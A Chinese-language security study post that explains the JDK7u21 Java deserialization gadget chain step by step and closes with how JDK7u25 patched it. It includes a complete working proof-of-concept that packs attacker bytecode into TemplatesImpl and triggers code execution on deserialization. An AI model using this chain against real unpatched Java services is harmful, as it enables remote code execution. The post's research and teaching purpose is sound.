原生反序列化利用链JDK7u21

这篇继续跟着P牛的Java安全漫谈来学习

JDK7u21这条反序列化利用链不依赖于第三方库,适用于Java7u21之前的版本。

JDK7u21安装

JDK7u21核心原理

某条反序列化利用链的核心点在于触发“动态方法执行”的地方,而不是TemplatasImpl或者某个类的readObject方法

举个栗子:

  • CommonsCollectiosn系列反序列化核心店是那一堆Transformer,特别是期中的InvokerTransformerInstantiateTransformer
  • CommonsBeanutils反序列化的核心点是PropertyUtils#getProperty,因为这个方法会触发任意对象的getter

而JDK7u21的核心点就是sun.reflect.annotation.AnnotationInvocationHandler,之前在反序列化(2)反序列化(3)这两篇中有介绍过但那时只用到了这个类会触发Map#getMap#put的特点

我们下面可以看到AnnotationInvocationHandler类中的equalsImpl方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
private transient volatile Method[] memberMethods = null;
private Boolean equalsImpl(Object var1) {
if (var1 == this) {
return true;
} else if (!this.type.isInstance(var1)) {
return false;
} else {
Method[] var2 = this.getMemberMethods();
int var3 = var2.length;

for(int var4 = 0; var4 < var3; ++var4) {
Method var5 = var2[var4];
String var6 = var5.getName();
Object var7 = this.memberValues.get(var6);
Object var8 = null;
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
try {
var8 = var5.invoke(var1);
} catch (InvocationTargetException var11) {
return false;
} catch (IllegalAccessException var12) {
throw new AssertionError(var12);
}
}

if (!memberValueEquals(var7, var8)) {
return false;
}
}

return true;
}
}

private Method[] getMemberMethods() {
if (this.memberMethods == null) {
this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
public Method[] run() {
Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();
AccessibleObject.setAccessible(var1, true);
return var1;
}
});
}

return this.memberMethods;
}

这里有个很明显的反射调用var8 = var5.invoke(var1),然后这个var5来自于var2[var4];这个var2又是来自于this.getMemberMethods();

也就是说equalsImpl这个方法是将this.type类中的所有方法遍历并执行了。那假设this.type是Templates类,则势必会调用到其中的newTransformer()getOutputProperties()方法,进而触发任意代码执行。

如何调用equalsImpl

现在的任务就是通过反序列化调用equalsImpl,这是一个私有方法,在AnnotationInvocationHandler#invoke中被调用

AnnotationInvocationHandler#invoke反序列化(3)这篇中有提到过

InvocationHandler是一个接口,他只有一个方法就是invoke:

1
2
3
4
public interface InvocationHandler {
public Object invoke(Object proxy, Method method, Object[] args)
throws Throwable;
}

在使用java.reflect.Proxy动态绑定一个接口时,如果调用该接口的任意一个方法会执行到InvocationHandler#invoke。执行invoke时,被传入的第一个参数是这个proxy对象,第二个参数是被执行的方法,第三个参数是执行时的参数列表

AnnotationInvocationHandler就是一个InvocationHandler接口的实现,我们可以看看它的Invoke方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else {
assert var5.length == 0;

if (var4.equals("toString")) {
return this.toStringImpl();
} else if (var4.equals("hashCode")) {
return this.hashCodeImpl();
} else if (var4.equals("annotationType")) {
return this.type;
} else {
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}
return var6;
}
}
}
}

当方法名等于“equals”,且仅有一个Object类型参数时,会调用到equalImpl方法。所以,现在的问题就变成了我们需要找到一个方法,在反序列化时对proxy调用equals方法

找到equals方法调用链

比较java对象时,我们常用到两个方法:

  • equals
  • compareTo

任意Java对象都拥有equals方法,它通常用于比较两个对象是否是同一个引用;而compareTo实际上是java.lang.Comparable接口的方法,通常被实现用于比较两个对象的值是否相等。

所以就会想到用java.util.PriorityQueue,实际上用的是compareTo而不是equals

另一个常见的会调用equals的场景就是集合set,set中储存的对象不允许重复,所以在添加对象的时候,势必会涉及到比较操作。

我们来查看HashSet的readObject方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in any hidden serialization magic
s.defaultReadObject();

// Read in HashMap capacity and load factor and create backing HashMap
int capacity = s.readInt();
float loadFactor = s.readFloat();
map = (((HashSet)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));

// Read in size
int size = s.readInt();

// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}

可以看到这里用了一个HashMap,将对象保存在HashMap的key处来做去重。

HashMap,就是数据结构里的哈希表,哈希表是有数组+链表实现的——哈希表底层保存在一个数组中,数组的索引由哈希表的key.hashCode()经过计算得到,数组的值是一个链表,所有哈希碰撞到相同索引的key-value,都会被链接到这个链表后面。

所以,为了触发比较操作,我们需要让比较与被比较的两个对象的哈希相同,这样才能被链接到同一条链表上,才会进行比较

然后我们跟进下HashMap的put方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}

modCount++;
addEntry(hash, key, value, i);
return null;
}

变量i就是这个所谓的“哈希”。两个不同的对象的i相等时,才会执行到key.equals(k),触发前面说过的代码执行

所以,接下来的目的就是让proxy对象的“哈希”,等于TemplateImpl对象的“哈希”。

Magic Number

计算“哈希”的主要是下面这两行代码:

1
2
int hash = hash(key);
int i = indexFor(hash, table.length);

将其中的关键逻辑提取出来,呢么就可以得到下面这个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
final int hash(Object k) {
int h = 0;
if (useAltHashing) {
if (k instanceof String) {
return sun.misc.Hashing.stringHash32((String) k);
}
h = hashSeed;
}

h ^= k.hashCode();

// This function ensures that hashCodes that differ only by
// constant multiples at each bit position have a bounded
// number of collisions (approximately 8 at default load factor).
h ^= (h >>> 20) ^ (h >>> 12);
return h ^ (h >>> 7) ^ (h >>> 4);
}

除了这个k.hashCode外再无其他变量,所以prosy对象与TemplateImpl对象的“哈希”是否相等,仅取决于这两个对象的hashCode()是否相等。TemplateImpl的hashCode()是一个Native方法,每次运行都会发生变化,我们理论上是无法预测的,所以想让proxy的hashCode()与之相等,只能寄希望于proxy.hsshCode()

proxy.hashCode()仍然会调用到AnnotationInvocationHandler#invoke,进而调用到AnnotationInvocationHandler#hashCodeImpl,那我们再来看下这个方法:

1
2
3
4
5
6
7
8
9
10
private int hashCodeImpl() {
int var1 = 0;

Map.Entry var3;
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
var3 = (Map.Entry)var2.next();
}

return var1;
}

遍历memberValues这个Map中的每个key和value,计算每个(127 * key.hashCode()) ^ value.hashode并求和

JDK7u21中使用了一个非常巧妙的方法:

  • memberValues中只有一个key和一个value时,该哈希简化成(127 * key.hashCode()) ^ value.hashCode()
  • key.hashCode()等于0时,任何数异或0的结果仍是他本身,所以该哈希简化成value.hashCodee()
  • value就是TemplateImpl对象时,这两个哈希就变成完全相等

所以,我们找到一个hashCode是0的对象作为memberValues的key,将恶意TemplateImpl对象作为value,这个proxy计算的hashCode就与TemplateImpl对象本身的hashCode相等了。

找一个hashCode是0的对象,我们可以写一个简单的爆破程序来实现:

1
2
3
4
5
6
7
public static void bruteHashCode(){
for (long i = 0; i < 9999999999L; i++) {
if (Long.toHexString(i).hashCode() == 0) {
System.out.println(Long.toHexString(i));
}
}
}

跑出来第一个是 f5a5a608 ,这个也是ysoserial中用到的字符串。

梳理利用链

到这整个利用的过程就清晰了,按照下面的步骤来构造:

  • 首先生成恶意TemplateImpl对象
  • 实例化AnnotationInvocationHandler对象
    • 它的type属性是一个TemplateImpl类
    • 它的memberValues属性是一个Map,Map只有一个key和value,key是字符串f5a5a608,value是前面生成的恶意TemplateImpl对象
  • 对这个AnnotationInvocationHsndler对象做一层代理,生成proxy对象
  • 实例化一个HashSet,这个HashSet有两个元素,分别是:
    • TemplateImpl对象
    • proxy对象
  • 将Hashset对象进行实例化

这样反序列化代码执行的流程如下:

  • 触发Hashset的readObject方法,其中使用HashMap的key做去重
  • 去重时计算HashSet中的两个元素的hashCode(),因为我们的静心构造二者相等,进而触发equals()方法
  • 调用AnnotationInvocationHandler#equalsImpl方法
  • equalsImpl中遍历this.type的每个方法并调用
  • 因为this.type是TemplateImpl类,所以触发了newTransform()getOutputProperties()方法
  • 任意代码执行

完整代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.codec.binary.Base64;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;

public class JDK7u21 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(org.example.test.testCalc.class.getName()).toBytecode()
});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

String zeroHashCodeStr = "f5a5a608";

// 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");

// 实例化AnnotationInvocationHandler类
Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handlerConstructor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);

// 为tempHandler创造一层代理
Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);

// 实例化HashSet,并将两个对象放进去
HashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy);

// 将恶意templates设置到map中
map.put(zeroHashCodeStr, templates);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(set);
oos.close();

System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

JDK7u21_1.png

修复

首先有两个问题:

  • 这个利用链是否影响JDK6和JDK8,具体影响那些小版本
  • JDK7u21以上的版本时如何修复这个问题的

第一个问题,Java的版本时分之开发的,这样意味着并不是JDK7的所有东西都比JDK6新,所以不能认为JDK6一定都受影响

Oracle JDK6一共发布了30多个公开的版本,最后一个是6u45,在2013年发布。此后,Oracle公司就不再发布免费的更新了,但是付费用户仍然可以获得Java 6的更新,最新的Java 6版本是6u221。

其中,公开版本的最新版6u45仍然存在这条利用链,大概是6u51的时候修复了这个漏洞,但是这个结论不能肯定,因为免费用户下载不到这个版本。

JDK8在发布时,JDK7已经修复了这个问题,所以JDK8全都不受影响

那么官方在JDK7u25中是如何修复这个问题的:8001309: Better handling of annotation interfaces · openjdk/jdk7u@b3dd610 · GitHub

JDK7u21_2.png

sun.reflect.annotation.AnnotationInvocationHandler类的readObject函数中,原本有一个this.type的检查,在其不是AnnotationType的情况下,会抛出一个异常。但是,捕获到异常后没做任何事情,只是将这个函数返回了,这样并不会影响整个反序列化的执行过程。

新版中就将return改成了throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream")这样反序列化时就会出现一个异常,导致整个过程停止。

但实际上仍然也存在问题,那就是下一篇要说的另一条原生反序列化链JDK8u20.